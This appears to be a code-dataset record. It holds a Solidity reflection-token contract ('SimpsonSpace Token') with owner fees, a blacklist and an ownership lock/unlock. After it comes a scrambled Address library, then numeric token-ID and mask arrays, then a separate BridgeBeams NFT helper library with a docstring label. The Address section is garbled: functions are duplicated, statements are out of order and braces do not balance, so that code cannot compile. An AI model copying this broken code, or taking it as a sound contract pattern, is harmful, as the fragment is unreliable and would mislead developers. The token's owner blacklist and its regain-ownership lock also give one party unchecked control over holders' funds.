returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require( _previousOwner == msg.sender, "You don't have permission to unlock" ); require(block.timestamp > _lockTime, "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; _previousOwner = address(0); } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setReflectionFeeTo(address) external; function setReflectionFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract SimpsonSpace is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcluded; address[] private _excluded; mapping(address => bool) public blackList; string private _name = "SimpsonSpace Token"; string private _symbol = "SMP"; uint8 private _decimals = 18; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 * 10**_decimals; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tReflectionFeeTotal; uint256 PERCENT_BP = 10000; uint256 public reflectionFee = 300; uint256 private _previousReflectionFee = reflectionFee; uint256 public txFee = 500; uint256 private _previousTxFee = txFee; uint256 public liquidityFee = 200; uint256 public _previousLiquidityFee = liquidityFee; address public marketingAddr1 = 0xE430c7685d16318C83d2d0B7a52faC49e43490dE; address public marketingAddr2 = 0x8ED1FF824B4d770DC43fc4c76c5033a10A4d2262; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; address public constant deadAddress = address(0xdead); bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public maxTxAmount = 10000000 * 10**_decimals; uint256 public numTokensToSwap = 1000000 * 10**_decimals; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcluded[uniswapV2Pair] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalReflectionFees() public view returns (uint256) { return _tReflectionFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require( !_isExcluded[sender], "Excluded addresses cannot call this function" ); (uint256 rAmount, , , , , ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tReflectionFeeTotal = _tReflectionFeeTotal.add(tAmount); } function reflectionFromToken( uint256 tAmount, bool deductTransferReflectionFee ) public view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferReflectionFee) { (uint256 rAmount, , , , , ) = _getValues(tAmount); return rAmount; } else { (, uint256 rTransferAmount, , , , ) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner { require(_isExcluded[account], "Account is already included"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rReflectionFee, uint256 tTransferAmount, uint256 tReflectionFee, uint256 tTxFee ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTxFee(tTxFee); _reflectReflectionFee(rReflectionFee, tReflectionFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setReflectionFeePercent(uint256 _reflectionFee) external onlyOwner { require(_reflectionFee <= 1000, "!max tx fee"); reflectionFee = _reflectionFee; } function setTxFeePercent(uint256 _txFee) external onlyOwner { require(_txFee <= 1000, "!max tx fee"); txFee = _txFee; } function setLiquidityFeePercent(uint256 _liquidityFee) external onlyOwner { require(_liquidityFee <= 1000, "!max tx fee"); liquidityFee = _liquidityFee; } function setMaxTxPercent(uint256 _maxTxPercent) external onlyOwner { require(_maxTxPercent <= PERCENT_BP, "!max fee"); require(_maxTxPercent >= 50, "!min percent"); maxTxAmount = _tTotal.mul(_maxTxPercent).div(PERCENT_BP); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectReflectionFee( uint256 rReflectionFee, uint256 tReflectionFee ) private { _rTotal = _rTotal.sub(rReflectionFee); _tReflectionFeeTotal = _tReflectionFeeTotal.add(tReflectionFee); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { ( uint256 tTransferAmount, uint256 tReflectionFee, uint256 tTxFee ) = _getTValues(tAmount); ( uint256 rAmount, uint256 rTransferAmount, uint256 rReflectionFee ) = _getRValues(tAmount, tReflectionFee, tTxFee, _getRate()); return ( rAmount, rTransferAmount, rReflectionFee, tTransferAmount, tReflectionFee, tTxFee ); } function _getTValues(uint256 tAmount) private view returns ( uint256, uint256, uint256 ) { uint256 tReflectionFee = calculateReflectionTxFee(tAmount); uint256 tTxFee = calculateTxFee(tAmount); uint256 tTransferAmount = tAmount.sub(tReflectionFee).sub(tTxFee); return (tTransferAmount, tReflectionFee, tTxFee); } function _getRValues( uint256 tAmount, uint256 tReflectionFee, uint256 tTxFee, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rReflectionFee = tReflectionFee.mul(currentRate); uint256 rTxFee = tTxFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rReflectionFee).sub(rTxFee); return (rAmount, rTransferAmount, rReflectionFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeTxFee(uint256 tTxFee) private { uint256 currentRate = _getRate(); uint256 rTxFee = tTxFee.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTxFee); if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTxFee); } function calculateReflectionTxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(reflectionFee).div(PERCENT_BP); } function calculateTxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(txFee + liquidityFee).div(PERCENT_BP); } function removeAllFee() private { if (reflectionFee == 0 && txFee == 0) return; _previousReflectionFee = reflectionFee; _previousTxFee = txFee; _previousLiquidityFee = liquidityFee; reflectionFee = 0; txFee = 0; liquidityFee = 0; } function restoreAllFee() private { reflectionFee = _previousReflectionFee; txFee = _previousTxFee; liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require( !blackList[from] && !blackList[to], "sender or Recipient wallet is dead." ); if (from != owner() && to != owner()) require( amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount." ); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= maxTxAmount) { contractTokenBalance = maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensToSwap; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { swapBack(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from, to, amount, takeFee); } function manualSwap() external onlyOwner { uint contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= numTokensToSwap; if ( overMinTokenBalance && !inSwapAndLiquify ) { swapBack(contractTokenBalance); } } function swapBack(uint256 contractTokenBalance) private lockTheSwap { uint256 liquidityTokens = contractTokenBalance * liquidityFee / (txFee + liquidityFee) / 2; uint256 amountToSwapForETH = contractTokenBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForLiquidity = ethBalance * 100 / (txFee + liquidityFee / 2); uint256 ethForMarketing = ethBalance.sub(ethForLiquidity); addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, liquidityTokens); // withdraw to fee recipient payable(marketingAddr1).transfer(ethForMarketing.mul(4).div(5)); payable(marketingAddr2).transfer(ethForMarketing.div(5)); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rReflectionFee, uint256 tTransferAmount, uint256 tReflectionFee, uint256 tTxFee ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTxFee(tTxFee); _reflectReflectionFee(rReflectionFee, tReflectionFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rReflectionFee, uint256 tTransferAmount, uint256 tReflectionFee, uint256 tTxFee ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTxFee(tTxFee); _reflectReflectionFee(rReflectionFee, tReflectionFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rReflectionFee, uint256 tTransferAmount, uint256 tReflectionFee, uint256 tTxFee ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTxFee(tTxFee); _reflectReflectionFee(rReflectionFee, tReflectionFee); emit Transfer(sender, recipient, tTransferAmount); } function setMarketingWallet1(address _wallet) external { require(marketingAddr1 == msg.sender, "not setter"); marketingAddr1 = _wallet; } function setMarketingWallet2(address _wallet) external { require(marketingAddr2 == msg.sender, "not setter"); marketingAddr2 = _wallet; } function updateUniRouter(address _router) external onlyOwner { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_router); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair( address(this), _uniswapV2Router.WETH() ); if (uniswapV2Pair == address(0)) { uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; } function removeFromBlackList(address _addr) public onlyOwner { blackList[_addr] = false; } function addToBlackList(address _addr) public onlyOwner { blackList[_addr] = true; } function setMinimunTokenAmountToSwap(uint _amount) external onlyOwner { numTokensToSwap = _amount; } }
* @dev Collection of functions related to the address type/
library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); require( success, "Address: unable to send value, recipient may have reverted" ); } (bool success, ) = recipient.call{value: amount}(""); function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); data ); if (success) { return returndata; if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } revert(errorMessage); } } } (bool success, bytes memory returndata) = target.call{value: weiValue}( function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); data ); if (success) { return returndata; if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } revert(errorMessage); } } } } else { function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); data ); if (success) { return returndata; if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } revert(errorMessage); } } } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); data ); if (success) { return returndata; if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } revert(errorMessage); } } } } else { }
43,830
[ 1, 2532, 434, 4186, 3746, 358, 326, 1758, 618, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 5267, 288, 203, 565, 445, 353, 8924, 12, 2867, 2236, 13, 2713, 1476, 1135, 261, 6430, 13, 288, 203, 3639, 1731, 1578, 981, 2816, 31, 203, 3639, 1731, 1578, 2236, 2310, 273, 374, 6511, 25, 72, 3247, 26, 1611, 5292, 74, 9060, 3707, 71, 29, 5324, 73, 27, 1966, 22, 72, 952, 27, 4630, 71, 20, 73, 12483, 70, 26, 8643, 5353, 24532, 9036, 70, 27, 17156, 361, 28, 3028, 25, 72, 7140, 69, 24, 7301, 31, 203, 3639, 19931, 288, 203, 5411, 981, 2816, 519, 1110, 710, 2816, 12, 4631, 13, 203, 3639, 289, 203, 3639, 327, 261, 710, 2816, 480, 2236, 2310, 597, 981, 2816, 480, 374, 92, 20, 1769, 203, 565, 289, 203, 203, 565, 445, 353, 8924, 12, 2867, 2236, 13, 2713, 1476, 1135, 261, 6430, 13, 288, 203, 3639, 1731, 1578, 981, 2816, 31, 203, 3639, 1731, 1578, 2236, 2310, 273, 374, 6511, 25, 72, 3247, 26, 1611, 5292, 74, 9060, 3707, 71, 29, 5324, 73, 27, 1966, 22, 72, 952, 27, 4630, 71, 20, 73, 12483, 70, 26, 8643, 5353, 24532, 9036, 70, 27, 17156, 361, 28, 3028, 25, 72, 7140, 69, 24, 7301, 31, 203, 3639, 19931, 288, 203, 5411, 981, 2816, 519, 1110, 710, 2816, 12, 4631, 13, 203, 3639, 289, 203, 3639, 327, 261, 710, 2816, 480, 2236, 2310, 597, 981, 2816, 480, 374, 92, 20, 1769, 203, 565, 289, 203, 203, 565, 445, 1366, 620, 12, 2867, 8843, 429, 8027, 16, 2254, 5034, 3844, 13, 2713, 288, 203, 3639, 2583, 12, 203, 5411, 2 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.8.0; /// BridgeBeams.sol /// @title BEAMS token helper functions /// @author artbridge.eth /// @dev Library assists requirement checks across contracts library BridgeBeams { struct Project { uint256 id; string name; string artist; string description; string website; uint256 supply; uint256 maxSupply; uint256 startBlock; } struct ProjectState { bool initialized; bool mintable; bool released; uint256 remaining; } struct ReserveParameters { uint256 maxMintPerInvocation; uint256 reservedMints; bytes32 reserveRoot; } /// @param _project Target project struct /// @return Project state struct derived from given input function projectState(Project memory _project) external view returns (BridgeBeams.ProjectState memory) { return ProjectState({ initialized: isInitialized(_project), mintable: isMintable(_project), released: isReleased(_project), remaining: _project.maxSupply - _project.supply }); } /// @param _project Target project struct /// @return True if project has required initial parameters, false if not function isInitialized(Project memory _project) internal pure returns (bool) { if ( bytes(_project.artist).length == 0 || bytes(_project.description).length == 0 ) { return false; } return true; } /// @param _project Target project struct /// @return True if project is past mint start block, false if not function isReleased(Project memory _project) internal view returns (bool) { return _project.startBlock > 0 && _project.startBlock <= block.number; } /// @param _project Target project struct /// @return True if project is available for public mint, false if not function isMintable(Project memory _project) internal view returns (bool) { if (!isInitialized(_project)) { return false; } return isReleased(_project) && _project.supply < _project.maxSupply; } }
@param _project Target project struct @return True if project has required initial parameters, false if not
